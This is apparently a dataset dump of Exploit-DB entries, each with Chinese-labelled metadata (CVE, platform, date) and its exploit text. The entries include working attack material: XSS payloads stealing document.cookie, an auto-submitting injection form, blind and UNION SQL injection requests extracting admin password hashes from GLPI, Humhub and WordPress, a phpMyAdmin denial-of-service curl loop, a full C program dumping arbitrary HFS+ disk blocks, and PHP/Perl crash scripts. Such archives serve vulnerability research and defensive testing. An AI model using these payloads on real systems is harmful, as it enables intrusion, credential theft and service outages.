QLWD/code_shield huggingface dataset:
标题: Microsoft Excel - Remote Buffer Overflow EDB-ID: 35573 CVE: 2011-0104 类型: REMOTE 平台: WINDOWS 发布日期: 2011-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/47245/info

Microsoft Excel is prone to a buffer-overflow vulnerability.

Attackers can exploit this issue by enticing an unsuspecting user to open a specially crafted Excel file.

Successful exploits can allow attackers to execute arbitrary code with the privileges of the user running the application. Failed exploit attempts will result in a denial-of-service condition. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35573.zip URL: https://www.exploit-db.com/exploits/35573
标题: AWCM 2.x - 'search.php' Cross-Site Scripting EDB-ID: 35555 CVE: 2011-1668 类型: WEBAPPS 平台: PHP 发布日期: 2011-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/47126/info

AWCM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AWCM 2.2 and prior versions are vulnerable.

http://www.example.com/awcm/search.php?search=<script>alert("SecPod-XSS-Test")</script>&where=all URL: https://www.exploit-db.com/exploits/35555
标题: Perl 5.x - 'lc()' / 'uc()' TAINT Mode Protection Security Bypass EDB-ID: 35554 CVE: 2011-1487 类型: REMOTE 平台: LINUX 发布日期: 2011-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/47124/info

Perl is prone to a security-bypass weakness that occurs when laundering tainted input.

Attackers can leverage this issue to bypass security checks in perl applications that rely on TAINT mode protection functionality. This opens such applications up to potential attacks that take advantage of the software's failure to properly sanitize user-supplied input. 

The following example input is available:

> perl -Te 'use Scalar::Util qw(tainted); $t=$0; $u=lc($t); printf("%d,%d\n",tainted($t),tainted($u))'

> perl -Te 'use Scalar::Util qw(tainted); $t=$0; $u=lc($t); printf("%d,%d\n",tainted($t),tainted($u))' URL: https://www.exploit-db.com/exploits/35554
标题: ICJobSite 1.1 - 'pid' SQL Injection EDB-ID: 35547 CVE: 2011-1557 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/47100/info

ICJobSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ICJobSite 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/icjobsite/index.php?page=position_details&pid=[SQL-Injection] URL: https://www.exploit-db.com/exploits/35547
标题: InTerra Blog Machine 1.84 - 'subject' HTML Injection EDB-ID: 35548 CVE: 2011-1670 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/47104/info

InTerra Blog Machine is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

InTerra Blog Machine 1.84 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" --> <input type="hidden" name="subject" value=&#039;post title"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="content" value=&#039;content&#039;> <input type="hidden" name="date[Date_Day]" value="31"> <input type="hidden" name="date[Date_Month]" value="03"> <input type="hidden" name="date[Date_Year]" value="2011"> <input type="hidden" name="time[Time_Hour]" value="13"> <input type="hidden" name="time[Time_Minute]" value="59"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="section" value="0"> <input type="hidden" name="sectionNewName" value=""> <input type="hidden" name="sectionNewUnix" value=""> <input type="hidden" name="sectionNewHidden" value="0"> <input type="hidden" name="replicate" value="1"> <input type="hidden" name="keywords" value=""> <input type="hidden" name="edit" value="POST_ID"> </form> <script> document.main.submit(); </script> URL: https://www.exploit-db.com/exploits/35548
标题: CMS Papoo 6.0.0 Rev. 4701 - Persistent Cross-Site Scripting EDB-ID: 35551 CVE: 2014-9522 类型: WEBAPPS 平台: PHP 发布日期: 2014-12-16 漏洞利用脚本: Advisory: Persistent XSS Vulnerability in CMS Papoo Light v6
Advisory ID: SROEADV-2014-01
Author: Steffen Rösemann
Affected Software: CMS Papoo Version 6.0.0 Rev. 4701
Vendor URL: http://www.papoo.de/
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:
==========================

The CMS Papoo Light Version has a persistent XSS vulnerability in its guestbook functionality and in its user-registration functionality.

==================
Technical Details:
==================

XSS-Vulnerability #1:

Papoo Light CMS v6 provides the functionality to post comments on a guestbook via the following url: http://{target-url}/guestbook.php?menuid=6.

The input fields with the id „author“ is vulnerable to XSS which gets stored in the database and makes that vulnerability persistent.

Payload-Examples:

<img src='n' onerror=“javascript:alert('XSS')“ >
<iframe src=“some_remote_source“></iframe>

XSS-Vulnerability #2:

People can register themselves on Papoo Light v6 CMS at http://{target-url}/account.php?menuid=2. Instead of using a proper username, an attacker can inject HTML and/or JavaScriptcode on the username input-field.

Code gets written to the database backend then. Attacker only has to confirm his/her e-mail address to be able to login and spread the code by posting to the forum or the guestbook where the username is displayed.

Payload-Examples:

see above (XSS #1)

=========
Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================
13-Dec-2014 – found XSS #1
13-Dec-2014 - informed the developers (XSS #1)
14-Dec-2014 – found XSS #2
14-Dec-2014 – informed the developers (XSS #2)
15-Dec-2014 - release date of this security advisory
15-Dec-2014 - response and fix by vendor
15-Dec-2014 - post on BugTraq

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

http://www.papoo.de/
http://sroesemann.blogspot.de URL: https://www.exploit-db.com/exploits/35551
标题: phpMyAdmin 4.0.x/4.1.x/4.2.x - Denial of Service EDB-ID: 35539 CVE: 2014-9218 类型: DOS 平台: PHP 发布日期: 2014-12-15 漏洞利用脚本: =============
DESCRIPTION:
=============
A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x
before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackers  to
cause a denial of service (resource consumption) via a long password.
CVE-2014-9218 was assigned

=============
Time Line:
=============
December 3, 2014 - A phpMyAdmin update and the security advisory is
published.

=============
Proof of Concept:
=============

*1 - Create the payload.*

$ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s"
{1..1000000} >> payload

*2 - Performing the Denial of Service attack.*

$ for i in `seq 1 150`; do (curl --data @payload
http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done

=============
Authors:
=============

-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info
=============

References:
====================================================================

*
http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html
* http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php URL: https://www.exploit-db.com/exploits/35539
标题: GLPI 0.85 - Blind SQL Injection EDB-ID: 35528 CVE: 2014-9258 类型: WEBAPPS 平台: PHP 发布日期: 2014-12-15 漏洞利用脚本: # Exploit Title: GLPI 0.85 Blind SQL Injection
# Date: 28-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
# CVE: CVE-2014-9258
# Category: webapps
  
1. Description
  
$_GET['condition'] is not escaped correctly.

File: ajax\getDropdownValue.php
if (isset($_GET['condition']) && !empty($_GET['condition'])) {
   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
   $where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
         FROM `$table`
         $addjoin
         $where
         ORDER BY $add_order `$table`.`completename`
         $LIMIT";

if ($result = $DB->query($query)) {

}

http://security.szurek.pl/glpi-085-blind-sql-injection.html

2. Proof of Concept

http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)

3. Solution:
  
Update to version 0.85.1
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz URL: https://www.exploit-db.com/exploits/35528
标题: Tracks 1.7.2 - URI Cross-Site Scripting EDB-ID: 35523 CVE: 2011-1671 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/47078/info

Tracks is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Tracks 1.7.2 is vulnerable; other versions may also be affected.

http://example.com/todos/tag/&#039;"--></style></script><script>alert(0x000238)</script> URL: https://www.exploit-db.com/exploits/35523
标题: Humhub 0.10.0-rc.1 - SQL Injection EDB-ID: 35510 CVE: 2014-9528 类型: WEBAPPS 平台: PHP 发布日期: 2014-12-10 漏洞利用脚本: # Exploit Title: Humhub <= 0.10.0-rc.1 SQL injection vulnerability
# Date: 08-12-2014
# Exploit Author: Jos Wetzels, Emiel Florijn
# Vendor Homepage: https://www.humhub.org
# Software Link: https://github.com/humhub/humhub/releases
# Version: <= 0.10.0-rc.1

The Humhub [1] social networking kit versions 0.10.0-rc.1 and prior suffer from an SQL injection vulnerability, which has now been resolved in cooperation with the vendor [2], in its notification listing functionality allowing an attacker to obtain backend database access. In the actionIndex() function located in "/protected/modules_core/notification/controllers/ListController.php" [3] a check is performed on the unsanitized $lastEntryId variable (which is fetched from the 'from' GET parameter) to see if it is greater than 0. However, since PHP uses type-unstrict comparisons and $lastEntryId isn't guaranteed to be an integer, this allows an attacker to prefix their string of choice with any number of integers (so that $lastEntryId gets treated as an integer during the comparison) such that the comparison evaluates to true and $criteria->condition is injected with the otherwise unsanitized $lastEntryId, which can be any SQL injection.

Proof of Concept: Performing the following request

 index.php?r=notification/list/index&from=999) AND (CASE WHEN 0x30<(SELECT substring(password,1,1) FROM user_password WHERE id = 1) THEN 1 ELSE 0 END) AND (1=1

Allows an attacker to perform a binary search SQL injection. In addition, the SQL error handling of the function in question allows the attacker to perform a reflected Cross-Site Scripting attack.

Proof of Concept: Directing any user to the following link

 index.php/?r=notification/list/index&from=999) AND ("<iframe src = 'index.php/?r=user/auth/logout'>"=""

Will perform a CSRF attack against the target user.

It should be noted that the attack requires regular user-level authentication to the humhub system.

[*] References:
 1. http://humhub.org
 2. https://github.com/humhub/humhub/commit/febb89ab823d0bd6246c6cf460addabb6d7a01d4
 3. https://github.com/humhub/humhub/blob/e406538ac44f992774e1abd3748ee0a65469829d/protected/modules_core/notification/controllers/ListController.php#L46 URL: https://www.exploit-db.com/exploits/35510
标题: WordPress Plugin Symposium 14.10 - SQL Injection EDB-ID: 35505 CVE: 2014-8810 类型: WEBAPPS 平台: PHP 发布日期: 2014-12-09 漏洞利用脚本: # Exploit Title: WP Symposium 14.10 SQL Injection
# Date: 22-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/wp-symposium.14.10.zip
# Category: webapps
# CVE: CVE-2014-8810
  
1. Description
  
$_POST['tray'] is not escaped.

File: wp-symposium\ajax\mail_functions.php
$tray = $_POST['tray'];
$unread = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->base_prefix.'symposium_mail'." WHERE mail_from = ".$mail->mail_from." AND mail_".$tray."_deleted != 'on' AND mail_read != 'on'");

http://security.szurek.pl/wp-symposium-1410-multiple-xss-and-sql-injection.html
  
2. Proof of Concept

Message ID must be one of your sended message (you can check this on user mailbox page -> sent items -> page source -> div id="this_is_message_id" class="mail_item mail_item_unread")

<form method="post" action="http://wordpress-instalation/wp-content/plugins/wp-symposium/ajax/mail_functions.php">
    <input type="hidden" name="action" value="getMailMessage">
    Message ID: <input type="text" name="mid"><br />
    SQL: <input type="text" name="tray" value="in_deleted = 1 UNION (SELECT user_pass FROM wp_users WHERE ID=1) LIMIT 1, 1 -- ">
    <input type="submit" value="Inject">
</form>

Returned value will be between "[split]YOUR_RETURNED_VALUE[split]"
  
3. Solution:
  
Update to version 14.11
http://www.wpsymposium.com/2014/11/release-information-for-v14-11/
https://downloads.wordpress.org/plugin/wp-symposium.14.11.zip URL: https://www.exploit-db.com/exploits/35505
标题: Advantech/BroadWin SCADA Webaccess 7.0 - Multiple Vulnerabilities EDB-ID: 35495 CVE: 2011-4041 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/47008/info

Advantech/BroadWin SCADA WebAccess is prone to multiple remote vulnerabilities including an information-disclosure issue and a remote code-execution issue.

An attacker can exploit these issues to execute arbitrary code and gain access to sensitive information. Other attacks may also be possible.

Advantech/BroadWin SCADA WebAccess 7.0 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35495.zip URL: https://www.exploit-db.com/exploits/35495
标题: Perl 5.x - 'Perl_reg_numbered_buff_fetch()' Remote Denial of Service EDB-ID: 35489 CVE: 2010-4777 类型: DOS 平台: MULTIPLE 发布日期: 2011-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/47006/info

Perl is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an application implemented with affected perl code to abort, denying service to legitimate users. 

#!/usr/bin/perl


my @x = ("A=B","AAAA=/");
utf8::upgrade $_ for @x;
$x[1] =~ s{/\s*$}{};
for (@x) {
m{^([^=]+?)\s*=.+$};
} URL: https://www.exploit-db.com/exploits/35489
标题: PHP < 5.3.6 'OpenSSL' Extension - 'openssl_encrypt' Plaintext Data Memory Leak Denial of Service EDB-ID: 35486 CVE: 2011-1468 类型: DOS 平台: PHP 发布日期: 2011-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/46977/info

PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.

Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
 openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";

?> URL: https://www.exploit-db.com/exploits/35486
标题: PHP < 5.3.6 'Zip' Extension - 'zip_fread()' Denial of Service EDB-ID: 35485 CVE: 2011-1471 类型: DOS 平台: PHP 发布日期: 2011-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/46975/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php
$o = new ZipArchive();
if (! $o->open('test.zip',ZipArchive::CHECKCONS)) {
 exit ('error can\'t open');
}
$o->getStream('file2'); // this file is ok
echo "OK";
$r = $o->getStream('file1'); // this file has a wrong crc
while (! feof($r)) {
 fread($r,1024);
}
echo "never here\n";
?> URL: https://www.exploit-db.com/exploits/35485
标题: PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service EDB-ID: 35487 CVE: 2011-1468 类型: DOS 平台: PHP 发布日期: 2011-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/46977/info
 
PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.
 
Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.
 
Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
 $cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
 $dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');
 if ($dcr != $data.$i){
  print "at step $i decryption failed\n";
 }
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>

fixes by add this code at line 4818 at the end of openssl_decrypt:
 EVP_CIPHER_CTX_cleanup(&cipher_ctx);


?> URL: https://www.exploit-db.com/exploits/35487
标题: Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure EDB-ID: 35488 CVE: 2011-0180 类型: LOCAL 平台: OSX 发布日期: 2011-03-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/46982/info

Apple Mac OS X is prone to a local information-disclosure vulnerability because of an integer-overflow error in the HFS subsystem.

A local attacker can exploit this issue to obtain sensitive information that may lead to further attacks. Due to the nature of this issue, local attackers may be able to execute arbitrary code in the context of the kernel, but this has not been confirmed.

Versions prior to OS X 10.6.7 are vulnerable.

NOTE: This issue was previously discussed in BID 46950 (Apple Mac OS X Prior to 10.6.7 Multiple Security Vulnerabilities) but has been given its own record to better document it. 

/*
 * Apple HFS+ F_READBOOTSTRAP Information Disclosure
 * by Dan Rosenberg of Virtual Security Research, LLC
 * @djrbliss on twitter
 *
 * Usage:
 * $ gcc hfs-dump.c -o hfs-dump
 * $ ./hfs-dump [size] [outfile]
 *
 * ----
 *
 * F_READBOOTSTRAP is an HFS+ fcntl designed to allow unprivileged callers to
 * retrieve the first 1024 bytes of the filesystem, which contains information
 * related to bootstrapping.
 *
 * However, due to an integer overflow in checking the requested range of
 * bytes, it is possible to retrieve arbitrary filesystem blocks, leading to an
 * information disclosure vulnerability.
 *
 * This issue was originally reported to Apple on July 1, 2010.  The fix was a
 * single line long and took more than 8 months to release.  No gold stars were
 * awarded.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <sys/mman.h>

int main(int argc, char * argv[])
{

 int fd, outfd, ret;
 long num;
 unsigned char * buf;
 struct fbootstraptransfer arg;

 if(argc != 3) {
  printf("[*] Usage: %s [size] [outfile]\n", argv[0]);
  return -1;
 }

 num = atol(argv[1]);

 outfd = open(argv[2], O_RDWR | O_CREAT, 0644);

 if(outfd < 0) {
  printf("[*] Failed to open output file.\n");
  return -1;
 }

 ftruncate(outfd, num);

 buf = (unsigned char *)mmap(NULL, num, PROT_READ | PROT_WRITE,
        MAP_SHARED, outfd, 0);

 if(buf == MAP_FAILED) {
  printf("[*] Not enough memory.\n");
  return -1;
 }

 arg.fbt_buffer = buf;
 arg.fbt_offset = num * (-1);
 arg.fbt_length = num;
 
 fd = open("/", O_RDONLY);

 if(fd < 0) {
  printf("[*] Failed to open filesystem root.\n");
  return -1;
 }
 
 ret = fcntl(fd, F_READBOOTSTRAP, &arg);

 if(ret < 0) {
  printf("[*] fcntl failed.\n");
  return -1;
 }

 printf("[*] Successfully dumped %lu bytes to %s.\n", num, argv[2]);
 return 0;

} URL: https://www.exploit-db.com/exploits/35488
标题: MHonArc 2.6.16 - Tag Nesting Remote Denial of Service EDB-ID: 35478 CVE: 2010-1677 类型: DOS 平台: LINUX 发布日期: 2010-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/46923/info

MHonArc is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to consume all CPU resources, denying service to legitimate users.

MHonArc versions 2.6.16 and prior are vulnerable. 

<bo<bo<bo<bo<body>dy>dy>dy>dy> URL: https://www.exploit-db.com/exploits/35478
标题: PHP 5.3.x 'Zip' Extension - 'stream_get_contents()' Denial of Service EDB-ID: 35484 CVE: 2011-1470 类型: DOS 平台: PHP 发布日期: 2011-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/46969/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$target_file = 'META-INF/MANIFEST.MF';

$za = new ZipArchive();
if ($za->open('test.jar') !== TRUE)
{
    return FALSE;
}

if ($za->statName($target_file) !== FALSE)
{
    $fd = $za->getStream($target_file);
}
else
{
    $fd = FALSE;
}
$za->close();

if (is_resource($fd))
{
    echo strlen(stream_get_contents($fd));
}

?> URL: https://www.exploit-db.com/exploits/35484
标题: PHP 5.3.x 'Intl' Extension - 'NumberFormatter::setSymbol()' Denial of Service EDB-ID: 35483 CVE: 2011-1467 类型: DOS 平台: PHP 发布日期: 2011-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/46968/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Intl' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

PHP versions prior to 5.3.6 are vulnerable.

numfmt_set_symbol(numfmt_create("en", NumberFormatter::PATTERN_DECIMAL), 2147483648, "") URL: https://www.exploit-db.com/exploits/35483